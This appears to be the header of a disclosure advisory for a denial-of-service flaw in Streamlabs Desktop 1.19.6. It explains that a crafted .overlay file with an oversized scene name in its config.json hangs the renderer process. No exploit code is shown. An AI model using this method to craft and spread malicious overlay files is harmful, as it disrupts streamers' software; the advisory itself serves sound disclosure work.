# Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion
#
#
# Vendor: Logitech | General Workings, Inc.
# Product web page: https://www.logitech.com | https://www.streamlabs.com
# Affected version 1.19.6 (macOS/Win)
#
# Summary: Streamlabs Desktop is a free streaming and recording software,
# built on OBS Studio, for content creators to stream live to platforms
# like Twitch, YouTube, and Facebook. It is designed to be beginner-friendly
# and offers tools for creating engaging streams, such as customizable overlays,
# alerts for viewer interactions, and the ability to add guests to a stream.
#
# Desc: A vulnerability exists in Streamlabs Desktop where importing a
# crafted .overlay file can cause uncontrolled CPU consumption, leading
# to a denial-of-service condition. The .overlay file is an archive
# containing a config.json configuration. By inserting an excessively
# large string into the name attribute of a scene object within config.json,
# the application's renderer process (Frameworks/Streamlabs Desktop Helper
# (Renderer).app) spikes to over 150% CPU and becomes unresponsive. This
# forces the victim to terminate the application manually, resulting in
# loss of availability. An attacker could exploit this by distributing
# malicious overlay files to disrupt streaming operations.
